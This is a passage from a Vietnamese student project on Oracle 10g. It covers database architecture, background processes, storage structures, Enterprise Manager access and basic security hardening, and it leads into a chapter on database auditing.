Hình 1.5 Database buffer cache

Database buffer cache là vùng nhớ trong SGA sử dụng để lưu trữ các

block dữ liệu được sử dụng gần nhất. Tương tự như kích thước của blocks dữ

Lớp AT3C - 20 - Cao Thị Hồng Thúy

Page 21: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

liệu được xác định bởi tham số DB_BLOCK_SIZE, kích thước của vùng đệm

trong buffer cache cũng được xác định bởi tham số DB_BLOCK_BUFFERS.

Oracle server sử dụng giải thuật least recently used (LRU) algorithm để

làm tươi lại vùng nhớ. Theo đó, khi nạp mới một block vào bộ đệm, trong

trường hợp bộ đệm đã đầy, Oracle server sẽ loại bớt block ít được sử dụng

nhất ra khỏi bộ đệm để nạp block mới vào bộ đệm.

1.3.1.5. Redo log buffer.

Server process ghi lại các thay đổi của một instance vào redo log buffer,

đây cũng là một phần bộ nhớ SGA.

Hình 1.6 Redo log buffer

Có một số đặc điểm cần quan tâm của Redo log buffer:

Kích thước được xác định bởi tham số LOG_BUFFER.

Lưu trữ các redo records (bản ghi hồi phục) mỗi khi có thay đổi

dữ liệu.

Redo log buffer được sử dụng một cách thường xuyên và các thay

đổi bởi một transaction có thể nằm đan xen với các thay đổi của

các transactions khác.

Bộ đệm được tổ chức theo kiểu circular buffer (bộ đệm nối vòng)

tức là dữ liệu thay đổi sẽ tiếp tục được nạp lên đầu sau khi vùng

đệm đã được sử dụng hết.

Background process

Background process (các tiến trình nền) thực hiện các chức năng thay

cho lời gọi tiến trình xử lý tương ứng. Nó điều khiển vào ra, cung cấp các cơ

Lớp AT3C - 21 - Cao Thị Hồng Thúy

Page 22: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

chế xử lý song song nâng cao hiệu quả và độ tin cậy. Tùy theo từng cấu hình

mà Oracle instance có các Background process như:

Database Writer (DBW0): Ghi lại các thay đổi trong data buffer

cache ra các file dữ liệu.

Log Writer (LGWR): Ghi lại các thay đổi được đăng ký trong

redo log buffer vào các redo log files.

System Monitor (SMON): Kiểm tra sự nhất quán trong database.

Process Monitor (PMON): Dọn dẹp lại tài nguyên khi các tiến

trình của Oracle gặp lỗi.

Checkpoint Process (CKPT): Cập nhật lại trạng thái của thông tin

trong file điều khiển và file dữ liệu mỗi khi có thay đổi trong

buffer cache.

1.3.1.6. Database Writer (DBW0).

Server process ghi lại các dữ liệu thay đổi để rollback và dữ liệu của các

block trong buffer cache. Database writer (DBWR) ghi các thông tin được

đánh dấu thay đổi từ database buffer cache lên các data files nhằm đảm bảo

luôn có khoảng trống bộ đệm cần thiết cho việc sử dụng.

Hình 1.7 Database Writer (DBWR)

Lớp AT3C - 22 - Cao Thị Hồng Thúy

Page 23: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Với việc sử dụng này, hiệu suất sử dụng database sẽ được cải thiện do

Server processes chỉ tạo các thay đổi trên buffer cache, DBWR ghi dữ liệu

vào các data file cho tới khi:

Số lượng buffers đánh bị dấu đạt tới giá trị ngưỡng.

Tiến trình duyệt tất cả buffer mà vẫn không tìm thấy dữ liệu tương

ứng.

Quá thời gian quy định.

1.3.1.7. Log Writer.

Log Writer (LGWR) là một trong các background process có trách

nhiệm quản lý redo log buffer để ghi lại các thông tin trong Redo log buffer

vào Redo log file. Redo log buffer là bộ đệm dữ liệu được tổ chức theo kiểu

nối vòng.

Hình 1.8: Log Writer (LGWT)

LGWR ghi lại dữ liệu một cách tuần tự vào redo log file theo các tình

huống sau:

Khi redo log buffer đầy

Khi xảy ra timeout (thông thường là 3 giây)

Trước khi DBWR ghi lại các blocks bị thay đổi trong data buffer

cache vào các data files.

Lớp AT3C - 23 - Cao Thị Hồng Thúy

Page 24: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Khi commit một transaction.

1.3.1.8. System Monitor (SMON).

Tiến trình system monitor (SMON) thực hiện phục hồi các sự cố (crash

recovery) ngay tại thời điểm instance được khởi động (startup), nếu cần thiết.

SMON cũng có trách nhiệm dọn dẹp các temporary segments không còn được

sử dụng nữa trong dictionary-managed tablespaces. SMON khôi phục lại các

transactions bị chết mỗi khi xảy ra sự cố. SMON đều đặn thực hiện kiểm tra

và khắc phục các sự cố khi cần.

Trong môi trường Oracle Parallel Server, SMON process của một

instance có thể thực hiện khôi phục instance trong trường hợp instance hay

CPU của máy tính đó gặp sự cố.

1.3.1.9. Process Monitor (PMON).

Tiến trình process monitor (PMON) thực hiện tiến trình phục hồi mỗi

khi có một user process gặp lỗi. PMON có trách nhiệm dọn dẹp database

buffer cache và giải phóng tài nguyên mà user process đó sử dụng. Ví dụ, nó

thiết lập lại (reset) trạng thái của các bảng đang thực hiện trong transaction,

giải phóng các locks trên bảng này, và huỷ bỏ process ID của nó ra khỏi danh

sách các active processes.

PMON kiểm tra trạng thái của nơi gửi (dispatcher ) và các server

processes, khởi động lại (restarts) mỗi khi xảy ra sự cố. PMON cũng còn thực

hiện việc đăng ký các thông tin về instance và dispatcher processes với

network listener.

Tương tự như SMON, PMON được gọi đến mỗi khi xảy ra sự cố trong

hệ thống.

1.3.1.10. Checkpoint Process (CKPT).

Cập nhật lại trạng thái của thông tin trong file điều khiển và file dữ liệu

mỗi khi có thay đổi trong buffer cache. Xảy ra checkpoints khi:

Tất cả các dữ liệu trong database buffers đã bị thay đổi tính cho

đến thời điểm checkpointed sẽ được background process DBWRn

ghi lên data files.

Lớp AT3C - 24 - Cao Thị Hồng Thúy

Page 25: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Background process CKPT cập nhật phần headers của các data

files và các control files.

Checkpoints có thể xảy ra đối với tất cả các data files trong

database hoặc cũng có thể xảy ra với một data files cụ thể.

Checkpoint xảy ra theo các tình huống sau:

Mỗi khi có log switch

Khi một shut down một database với các chế độ trừ chế độ abort

Xảy ra theo như thời gian quy định trong các tham số khởi tạo

LOG_CHECKPOINT_INTERVAL và

LOG_CHECKPOINT_TIMEOUT

Khi có yêu cầu trực tiếp của quản trị viên

Thông tin về checkpoint được lưu trữ trong Alert file trong trường

hợp các tham số khởi tạo LOG_CHECKPOINTS_TO_ALERT

được đặt là TRUE. Và ngược lại với giá trị FALSE.

1.3.2. Oracle database.

Oracle database là tập hợp các dữ liệu được xem như một đơn vị thành

phần (Unit). Database có nhiệm vụ lưu trữ và trả về các thông tin liên quan.

Database được xem xét dưới hai góc độ cấu trúc logic và cấu trúc vật lý . Tuy

vậy, hai cấu trúc dữ liệu này vẫn tồn tại tách biệt nhau, việc quản lý dữ liệu

theo cấu trúc lưu trữ vật lý không gây ảnh hưởng tới cấu trúc logic

Oracle database được xác định bởi tên một tên duy nhất và được quy

định trong tham số DB_NAME của parameter file.

Lớp AT3C - 25 - Cao Thị Hồng Thúy

Page 26: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 1.9: Cấu trúc database

Cấu trúc vật lý database

Cấu trúc vật lý bao gồm tập hợp các control file, online redo log file và

các datafile:

Datafiles

Mỗi một Oracle database đều có thể có một hay nhiều datafiles. Các

database datafiles chứa toàn bộ dữ liệu trong database. Các dữ liệu thuộc cấu

trúc logic của database như tables hay indexes đều được lưu trữ dưới dạng

vật lý trong các datafiles của database.

Một số tính chất của datafiles:

Mỗi datafile chỉ có thể được sử dụng trong một database.

Bên cạnh đó, datafiles cũng còn có một số tính chất cho phép tự

động mở rộng kích thước mỗi khi database hết chỗ lưu trữ dữ liệu.

Một hay nhiều datafiles tạo nên một đơn vị lưu trữ logic của

database gọi là tablespace.

Một datafile chỉ thuộc về một tablespace.

Dữ liệu trong một datafile có thể đọc ra và lưu vào vùng nhớ bộ đệm của

Oracle. Ví dụ: khi một user muốn truy cập dữ liệu trong một table thuộc

database. Trong trường hợp thông tin yêu cầu không có trong cache memory

Lớp AT3C - 26 - Cao Thị Hồng Thúy

Page 27: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

hiện thời, nó sẽ được đọc trực tiếp từ các datafiles ra và lưu trữ vào trong bộ

nhớ.

Tuy nhiên, việc bổ sung hay thêm mới dữ liệu vào database không nhất

thiết phải ghi ngay vào các datafile. Các dữ liệu có thể tạm thời ghi vào bộ

nhớ để giảm thiểu việc truy xuất tới bộ nhớ ngoài (ổ đĩa) làm tăng hiệu năng

sử dụng hệ thống. Công việc ghi dữ liệu này được thực hiện bởi DBWn

background process.

Redo Log Files

Mỗi Oracle database đều có một tập hợp từ 02 redo log files trở lên. Các

redo log files trong database thường được gọi là database's redo log. Một redo

log được tạo thành từ nhiều redo entries (gọi là các redo records).

Chức năng chính của redo log là ghi lại tất cả các thay đổi đối với dữ

liệu trong database. Redo log files được sử dụng để bảo vệ database khỏi

những hỏng hóc do sự cố. Oracle cho phép sử dụng cùng một lúc nhiều redo

log gọi là multiplexed redo log để cùng lưu trữ các bản sao của redo log trên

các ổ đĩa khác nhau.

Các thông tin trong redo log file chỉ được sử dụng để khôi phục lại

database trong trường hợp hệ thống gặp sự cố và không cho phép viết trực

tiếp dữ liệu trong database lên các datafiles trong database. Ví dụ: khi có sự

cố xảy ra như mất điện bất chợt chẳng hạn, các dữ liệu trong bộ nhớ không

thể ghi trực tiếp lên các datafiles và gây ra hiện tượng mất dữ liệu. Tuy nhiên,

tất cả các dữ liệu bị mất này đều có thể khôi phục lại ngay khi database được

mở trở lại. Việc này có thể thực hiện được thông qua việc sử dụng ngay chính

các thông tin mới nhất có trong các redo log files thuộc datafiles. Oracle sẽ

khôi phục lại các database cho đến thời điểm trước khi xảy ra sự cố.

Công việc khôi phục dữ liệu từ các redo log được gọi là rolling forward.

Control Files

Mỗi Oracle database đều có ít nhất một control file. Control file chứa các

mục thông tin quy định cấu trúc vật lý của database như:

Tên của database.

Tên và nơi lưu trữ các datafiles hay redo log files.

Lớp AT3C - 27 - Cao Thị Hồng Thúy

Page 28: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Time stamp (mốc thời gian) tạo lập database, ...

Mỗi khi nào một instance của Oracle database được mở, control file của

nó sẽ được sử dụng để xác định data files và các redo log files đi kèm. Khi

các thành phần vật lý cả database bị thay đổi (ví dụ như, tạo mới datafile hay

redo log file), Control file sẽ được tự động thay đổi tương ứng bởi Oracle.

Control file cũng được sử dụng đến khi thực hiện khôi phục lại dữ liệu.

Cấu trúc logic databse

Cấu trúc logic của Oracle database bao gồm các đối tượng tablespaces,

schema objects, data blocks, extents, và segments.

Tablespaces

Một database có thể được phân chia về mặt logic thành các đơn vị gọi là

các tablespaces, Tablespaces thường bao gồm một nhóm các thành phần có

quan hệ logic với nhau.

Databases, Tablespaces, và Datafiles

Mối quan hệ giữa các databases, tablespaces, và datafiles có thể được

minh hoạ bởi hình vẽ sau:

Hình 1.10: Quan hệ giữa database, tablespace và datafile

Có một số điểm ta cần quan tâm:

Mỗi database có thể phân chia về mặt logic thành một hay nhiều

tablespace.

Lớp AT3C - 28 - Cao Thị Hồng Thúy

Page 29: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Mỗi tablespace có thể được tạo nên, về mặt vật lý, bởi một hoặc

nhiều datafiles.

Kích thước của một tablespace bằng tổng kích thước của các

datafiles của nó. Ví dụ: trong hình vẽ ở trên SYSTEM tablespace

có kích thước là 2 MB còn USERS tablespace có kích thước là 4

MB.

Kích thước của database cũng có thể xác định được bằng tổng

kích thước của các tablespaces của nó. Ví dụ: trong hình vẽ trên

thì kích thước của database là 6 MB.

Hình 1.11: Cấu trúc lưu trữ (Storage)

Schema và Schema Objects

Schema là tập hợp các đối tượng (objects) có trong database. Schema

objects là các cấu trúc logic cho phép tham chiếu trực tiếp tới dữ liệu trong

database. Schema objects bao gồm các cấu trúc như tables, views, sequences,

stored procedures, synonyms, indexes, clusters, và database links.

Data Blocks, Extents, and Segments

Oracle điểu khiển không gian lưu trữ trên đĩa cứng theo các cấu trúc

logic bao gồm các data blocks, extents, và segments.

Oracle Data Blocks

Lớp AT3C - 29 - Cao Thị Hồng Thúy

Page 30: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Là mức phân cấp logic thấp nhất, các dữ liệu của Oracle database

được lưu trữ trong các data blocks. Một data block tương ứng với một số

lượng nhất định các bytes vật lý của database trong không gian đĩa cứng. Kích

thước của một data block được chỉ ra cho mỗi Oracle database ngay khi

database được tạo lập. Database sử dụng, cấp phát và giải phóng vùng không

gian lưu trữ thông qua các Oracle data blocks.

Extents

Là mức phân chia cao hơn về mặt logic các vùng không gian trong

database. Một extent bao gồm một số data blocks liên tiếp nhau, cùng được

lưu trữ tại một thiết bị lưu giữ. Extent được sử dụng để lưu trữ các thông tin

có cùng kiểu.

Segments

Là mức phân chia cao hơn nữa về mặt logic các vùng không gian trong

database. Một segment là một tập hợp các extents được cấp phát cho một cấu

trúc logic . Segment có thể được phân chia theo nhiều loại khác nhau:

Data

segment

Mỗi một non-clustered table có một data segment. Các dữ

liệu trong một table được lưu trữ trong các extents thuộc

data segment đó. Với một partitioned table thì mỗi each

partition lại tương ứng với một data segment.

Mỗi Cluster tương ứng với một data segment. Dữ liệu của

tất cả các table trong cluster đó đều được lưu trữ trong data

segment thuộc Cluster đó.

Index

segment

Mỗi một index đều có một index segment lưu trữ các dữ liệu

của nó. Trong partitioned index thì mỗi partition cũng lại

tương ứng với một index segment.

Rollback

segment

Một hoặc nhiều rollback segments của database được tạo

lập bởi người quản trị database để lưu trữ các dữ liệu trung

gian phục vụ cho việc khôi phục dữ liệu.

Các thông tin trong Rollback segment được sử dụng để:

Tạo sự đồng nhất các thông tin đọc được từ database

Lớp AT3C - 30 - Cao Thị Hồng Thúy

Page 31: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Sử dụng trong quá trình khôi phục dữ liệu

Phục hồi lại các giao dịch chưa commit đối với mỗi

user

Temporar

y segment

Temporary segments được tự động tạo bởi Oracle mỗi khi

một câu lệnh SQL statement cần đến một vùng nhớ trung

gian để thực hiện các công việc của mình như sắp xếp dữ

liệu. Khi kết thúc câu lệnh đó, các extent thuộc temporary

segment sẽ lại được hoàn trả cho hệ thống.

Bảng 1.1: Cấu trúc database.

Oracle thực hiện cấp phát vùng không gian lưu trữ một cách linh hoạt

mỗi khi các extents cấp phát đã sử dụng hết.

Các cấu trúc vật lý khác

Ngoài ra, Oracle Server còn sử dụng các file khác để lưu trữ thông tin.

Các file đó bao gồm:

Parameter file: Parameter file chỉ ra các tham số được sử dụng

trong database. Người quản trị database có thể sửa đổi một vài

thông tin có trong file này. Các tham số trong parameter file được

viết ở dạng văn bản.

Password file: Xác định quyền của từng user trong database. Cho

phép người sử dụng khởi động và tắt một Oracle instance.

Archived redo log files: Là bản off line của các redo log files chứa

các thông tin cần thiết để phục hồi dữ liệu.

1.4. QUẢN TRỊ CSDL VỚI ORACLE ENTERPRISE MANAGER

(OEM).

OEM là một chương trình ứng dụng cho phép người quản trị CSDL có

thể thực hiện các chức năng quản trị CSDL Oracle từ xa. Đối với các phiên

bản trước 10g, công cụ OEM được viết bằng ứng dụng Java và có thể chạy

trên cả Server lẫn Client. Tuy nhiên, để có thể quản trị từ máy Client, người

dùng cần phải cài Oracle Client – một phần mềm tương đối nặng. Vì thế, từ

Lớp AT3C - 31 - Cao Thị Hồng Thúy

Page 32: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

phiên bản 10g trở đi, OEM được viết dưới dạng ứng dụng web mà người

dùng có thể truy cập từ máy Client không cần cài đặt thêm Oracle Client.

1.4.1. Khởi động OEM trên server.

Để OEM có thể hoạt động, cần phải khởi động chương trình OEM trên

Server (thường trực dưới dạng service trong Windows). Người quản trị thực

hiện khởi động theo các bước sau :

Bước 1: Chọn Start Run gõ lệnh cmd

Bước 2: Khởi động OEM trên Server bằng lệnh emctl start

dbconsole

Bước 3: Đợi chương trình khởi động xong, đóng cửa sổ command

lại. Kết thúc quá trình khởi động OEM trên Server.

1.4.2. Làm việc với OEM.

Mở một trình duyệt web như Internet Explorer, Firefox, Opera… Tại ô

địa chỉ, đánh địa chỉ đăng nhập theo cú pháp http://<IP server>:5500/em/

Ví dụ: thông thường Oracle được cài trên máy đơn, truy cập OEM qua

địa chỉ http://localhost:5500/em/

Nếu OEM trên server hoạt động tốt và không bị lỗi, xuất hiện màn hình

làm việc của chương trình OEM với cửa sổ đăng nhập đầu tiên để bắt đầu làm

việc.

Lớp AT3C - 32 - Cao Thị Hồng Thúy

Page 33: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 1.12: Giao diện đăng nhập database oracle.

Mỗi CSDL mặc định khi tạo có các người dùng SYS và SYSTEM, với

mật khẩu được thiết lập trong quá trình tạo CSDL. Nếu trong trường hợp

không thiết lập mật khẩu, các người dùng này có các mật khNu mặc định bao

gồm :

SYS có mật khẩu CHANGE_ON_INSTALL

SYSTEM có mật khẩu MANAGER

Đối với 2 người dùng này chọn Connect as SYSDBA.

Sau khi đăng nhập thành công, xuất hiện màn hình quản lý của Oracle.

Tại đây người quản trị sẽ bắt đầu làm việc với các chức năng quản trị hệ

thống.

Hình 1.13: Màn hình quản lý oracle.

1.4.3 Các chức năng chính của OEM

Home: chứa giao diện thông báo trạng thái hoạt động của

Database Server và các chức năng chính để khởi động (startup)

hoặc dừng hoạt động (shutdown) của Database Server.

Lớp AT3C - 33 - Cao Thị Hồng Thúy

Page 34: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Performance: theo dõi năng lực hoạt động của hệ thống thông qua

giao diện đồ họa và các biểu đồ.

Administrator: chứa đựng toàn bộ các chức năng để thực hiện việc

quản trị và cấu hình hệ thống đối với Oracle Database.

Maintenance: chứa đựng các chức năng vận hành và duy trì hệ

thống.

Chức năng quan trọng nhất của OEM chính là Administrator, có giao

diện như sau:

Hình 1.14: Giao diện Administrator

1.5. KẾT NỐI TỚI ORACLE SERVER.

1.5.1. Mô hình kết nối.

Các Client có thể kết nối tới Oracle Server thông qua 03 cách sau:

Kết nối trực tiếp: kết nối mà Client nằm trên cùng một máy chủ

Oracle server.

Kết nối hai lớp (two-tiered) client-server: Client nằm trên một

máy tính khác và kết nối trực tiếp tới máy chủ Oracle Server.

Kết nối ba lớp (three-tiered): Client nằm trên máy tính khác với

máy chủ Oracle Server, nó giao tiếp với một ứng dụng hay một

máy chủ mạng (network server) và điều khiển ứng dụng hay máy

chủ này kết nối tới Oracle server.

Lớp AT3C - 34 - Cao Thị Hồng Thúy

Page 35: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 1.15: Kết nối tới Oracle server

1.5.2. Một số khái niệm cơ bản liên quan đến kết nối.

1.5.2.1. Connection (liên kết).

Liên kết là đường liên lạc giữa một user process và một Oracle server.

Trong trường hợp user sử dụng các tool hoặc các ứng dụng ngay trên cùng

một máy với Oracle server, đường liên lạc sẽ được tạo lập ngay trên máy đó.

Trong trường hợp user nằm trên một máy khác thì liên kết sẽ sử dụng đường

mạng để kết nối tới Oracle server.

1.5.2.2. Session (phiên).

Một phiên tương ứng với một liên kết cụ thể của một user tới một Oracle

server. Phiên bắt đầu khi user kết nối tới Oracle Server đã được kiểm tra hợp

lệ và kết thúc khi user thực hiện log out khỏi Oracle Server hoặc user kết thúc

một cách bất thường. Một user cùng một lúc có thể có nhiều phiên làm việc

để kết nối tới Oracle Server thông qua các ứng dụng hay các tool khác nhau.

Ví du: User có thể đồng thời có các phiên làm việc giữa SQL*Plus,

Developer/2000 Form,... tới Oracle Server.

Lưu ý: Phiên chỉ tạo lập được khi Oracle Server đã sẵn sàng cho việc kết

nối của các client.

Để kết nối tới database trước tiên, cần phải tạo liên kết tới Oracle Server.

Liên kết tới Oracle Server được tạo theo các bước sau:

User sử dụng công cụ SQL*Plus hay sử dụng các công cụ khác

của Oracle như Developer/2000 Forms để khởi tạo tiến trình.

Lớp AT3C - 35 - Cao Thị Hồng Thúy

Page 36: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Trong mô hình Client-Server, các công cụ hay ứng dụng này được

chạy trên máy Client.

User thực hiện log in vào Oracle server với việc khai báo

username, password và tên liên kết tới database. Các ứng dụng

tools sẽ tạo một tiến trình để kết nối tới Oracle server qua các

tham số này. Tiến trình này được gọi là tiến trình phục vụ. Tiến

trình phục vụ sẽ giao tiếp với Oracle server thay cho tiến trình của

user chạy trên máy Client.

1.6. BẢO MẬT TRONG ORACLE.

1.6.1 Trình tự kiện toàn an ninh Oracle Database 10g.

Bước 1 – Chỉ cấu hình cài đặt chức năng cần dùng.

Tính năng tùy chọn.

Tài khoản mẫu.

Bước 2 - Khóa và làm mất hiệu lực các tài khoản mặc định.

Tài khoản của Oracle Enterprise Manager.

Bước 3 - Đổi mật khẩu tài khoản mặc định.

Đổi mật khẩu tài khoản mặc định có quyền quản trị.

Đổi mật khẩu tài khoản mặc định.

Áp dụng thủ tục quản lý mật khẩu của Oracle.

Bước 4 - Bảo vệ từ điển dữ liệu.

Bước 5 - Thực hiện nguyên tắc quyền tối thiểu.

Chỉ gán quyền cần thiết

Gỡ quyền không cần thiết khỏi PUBLIC..

Chỉ gán ROLE khi cần tất cả quyền trong ROLE..

Giới hạn quyền được cấp trong thời gian chương trình chạy.

Bước 6 - Áp dụng kiểm soát truy cập chặt và xác thực mạnh.

Xác thực máy trạm đúng.

Bước 7 - Giới hạn truy cập Hệ điều hành máy chủ Oracle.

Lớp AT3C - 36 - Cao Thị Hồng Thúy

Page 37: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Bước 8 - Giới hạn truy cập mạng.

Sử dụng Tường lửa.

Bảo vệ Oracle Listener.

Giám sát truy cập hệ thống.

Kiểm tra địa chỉ IP.

Mã hóa giao thông mạng.

Kiện toàn an ninh Hệ điều hành máy chủ Oracle.

Bước 9 - Cập nhật bản vá lỗi định kì

Bước 10 - Liên hệ Oracle.

1.6.2. Bảo mật cơ sở dữ liệu.

Một hệ thống an toàn đảm bảo tính bảo mật của dữ liệu mà nó chứa. Có

một số khía cạnh của bảo mật:

Hạn chế truy cập dữ liệu và dịch vụ

Chứng thực người dùng

Giám sát đối với hoạt động đáng ngờ

Oracle Database 10g cung cấp framework tốt nhất của ngành công

nghiệp cho một hệ thống an toàn. Nhưng để framework có hiệu

quả, người quản trị cơ sở dữ liệu phải tuân theo các thực hành tốt

nhất và liên tục giám sát hoạt động cơ sở dữ liệu.

1.6.2.1. Hạn chế truy cập đến dữ liệu và dịch vụ.

Tất cả người dùng không phải có quyền truy cập vào tất cả các dữ liệu.

Tùy thuộc vào những gì được lưu trữ trong cơ sở dữ liệu,truy cập bị giới hạn

có thể được uỷ quyền yêu cầu kinh doanh, bởi những kỳ vọng của khách

hàng, và ngày càng được hạn chế pháp lý. Thẻ tín dụng thông tin, dữ liệu y tế,

thông tin nhận dạng,và như vậy phải được bảo vệ khỏi truy cập trái phép. Các

cơ sở dữ liệu Oracle cung cấp uỷ quyền kiểm soát để hạn chế truy cập cơ sở

dữ liệu. Hạn chế truy cập phải có áp dụng các nguyên tắc đặc quyền tối thiểu.

Lớp AT3C - 37 - Cao Thị Hồng Thúy

Page 38: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

1.6.2.2. Chứng thực người dùng.

Để thực thi kiểm soát truy cập vào dữ liệu nhạy cảm, hệ thống đầu tiên

phải biết ai đang cố gắng truy cập dữ liệu.Bị trục trặc về chứng thực có thể dẫn

tới các đề phòng về bảo mật khác trở thành vô dụng.

Hình thức xác thực người dùng cơ bản nhất bằng cách thử thách người

dùng để cung cấp một cái gì đó mà họ biết,chẳng hạn như một mật khẩu. Đảm

bảo rằng mật khẩu theo những quy tắc đơn giản rất nhiều có thể tăng bảo mật

hệ thống.

Phương pháp xác thực mạnh mẽ hơn bao gồm yêu cầu người dùng cung

cấp một cái gì đó mà họ có, chẳng hạn như một thẻ bài hoặc public key

infrastructure (PKI) certificate.

Thậm chí còn mạnh mẽ hơn nữa là hình thức thẩm định là xác định

người dùng thông qua một đặc tính sinh trắc học độc đáo như một vân tay,

quét mống mắt, mô hình cấu trúc xương. Các cơ sở dữ liệu Oracle hỗ trợ nâng

cao thẩm định kỹ thuật, chẳng hạn như thẻ-, sinh trắc học-, xác định dựa trên

chứng chỉ và, thông qua các tùy chọn Advanced Security.

Tài khoản người dùng mà không được sử dụng phải được khóa để ngăn

chặn nỗ lực để thỏa hiệp xác thực.

1.6.2.3. Giám sát cho Hành vi Đáng ngờ.

Thậm chí có thẩm quyền và người sử dụng chứng thực đôi khi có thể thỏa

hiệp hệ thống. Xác định cơ sở dữ liệu hoạt động không bình thường (chẳng hạn

như một nhân viên đột nhiên bắt đầu truy vấn số lượng lớn thông tin thẻ tín

dụng, kết quả nghiên cứu, hoặc các thông tin nhạy cảm khác) có thể là bước

đầu tiên phát hiện hành vi trộm cắp thông tin. Các cơ sở dữ liệu Oracle cung

cấp một bộ công cụ phong phú của kiểm toán để theo dõi người dùng hoạt

động và xác định xu hướng đáng ngờ.

1.6.3. Nguyên lý đặc quyền tối thiểu.

Cài đặt phần mềm chỉ cần thiết trên máy.

Kích hoạt dịch vụ chỉ cần thiết trên máy.

Lớp AT3C - 38 - Cao Thị Hồng Thúy

Page 39: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Cung cấp cho hệ điều hành và truy cập cơ sở dữ liệu để chỉ những người

sử dụng yêu cầu truy cập.

Hạn chế truy cập vào thư mục gốc hoặc tài khoản quản trị.

Hạn chế truy cập vào các tài khoản SYSDBA và SYSOPER.

Hạn chế người dùng truy cập để chỉ các đối tượng cơ sở dữ liệu cần phải

làm công việc của họ.

1.6.3.1. Các nguyên lý đặc quyền tối thiểu.

Áp dụng các nguyên tắc đặc quyền tối thiểu bắt đầu từ mức thấp nhất, và

tiếp tục ở mọi cấp độ. Luôn có những hành động khai thác bảo mật mới mà

không thể được dự đoán. Bằng cách áp dụng nguyên tắc này, các khả năng khai

thác giảm và thiệt hại có thể có.

Cài đặt phần mềm chỉ cần thiết trên máy tính này: Bằng cách giảm số

lượng các phần mềm gói, Cần giảm bảo trì, nâng cấp, khả năng lỗ hổng bảo

mật, và phần mềm xung đột.

Kích hoạt dịch vụ chỉ cần thiết trên máy: các dịch vụ ít hơn hàm ý ít

cổng mở và ít tấn công vectơ.

Cung cấp cho hệ điều hành (OS) và truy cập cơ sở dữ liệu để chỉ những

người dùng đó có yêu cầu truy cập: Ít có nghĩa là người sử dụng mật khẩu ít

hơn và các tài khoản. Điều này làm giảm khả năng mở hoặc các tài khoản cũ.

Tài khoản ít hơn làm cho nó dễ dàng hơn cho các quản trị viên để giữ tài

khoản hiện hành.

Hạn chế truy cập vào thư mục gốc hoặc tài khoản quản trị: Các tài khoản

quản trị phải được cẩn thận bảo vệ, kiểm toán, và không bao giờ chia sẻ.

Hạn chế truy cập vào các tài khoản SYSDBA và SYSOPER: Người

dùng cần truy cập vào các vai trò của từng tài khoản riêng của họ và được

kiểm toán.

Hạn chế người dùng truy cập,để họ chỉ truy cập các đối tượng cơ sở dữ

liệu cần thiết để làm công việc của họ

1.6.3.2. Áp dụng các nguyên tắc đặc quyền tối thiểu.

Bảo vệ dữ liệu từ điển(data dictionary)

Lớp AT3C - 39 - Cao Thị Hồng Thúy

Page 40: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Thu hồi những đặc quyền không cần thiêt từ Public

Hạn chế người dùng truy cập directory.

Hạn chế người dùng với quyền administrative.

Hạn chế xác thực cơ sở dữ liệu từ xa

Trong quá trình xác thực từ xa:

Người sử dụng cơ sở dữ liệu được chứng thực từ bên ngoài

Hệ thống xác thực người dùng từ xa

Người sử dụng đăng nhập vào cơ sở dữ liệu mà không cần xác

thực hơn nữa

Chương 2

KIỂM TOÁN TRONG ORACLE 10G

2.1. TẠI SAO PHẢI KIỂM TOÁN.

Lớp AT3C - 40 - Cao Thị Hồng Thúy

Page 41: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

An toàn thông tin trong cơ sở dữ liệu bao gồm 3 yếu tố chính: tính bí

mật, toàn vẹn và sẵn sàng.Vì thế để đảm bảo an toàn thông tin trong cơ sở dữ

liệu cần đảm bảo cả ba yếu tố.Bí mật yếu tố quan trọng nhất để đảm bảo an

toàn trong các môi trường, cả quân sự lẫn thương mại.Đảm bảo tính toàn vẹn

có nghĩa là ngăn chặn, phát hiện và xác định các sửa đổi thông tin trái phép.

Đảm bảo tính sẵn sàng có nghĩa là ngăn chặn, phát hiện và xác định các từ

chối truy nhập chính đáng vào các dịch vụ mà hệ thống cung cấp.

2.1.1. Các hiểm hoạ đối với an toàn cơ sở dữ liệu

Một hiểm hoạ có thể được xác định khi đối phương (người, hoặc nhóm

người) sử dụng các kỹ thuật đặc biệt để tiếp cận nhằm khám phá, sửa đổi trái

phép thông tin quan trọng do hệ thống quản lý.

Các xâm phạm tính an toàn cơ sở dữ liệu bao gồm đọc, sửa, xoá dữ liệu

trái phép. Thông qua những xâm phạm này, đối phương có thể:

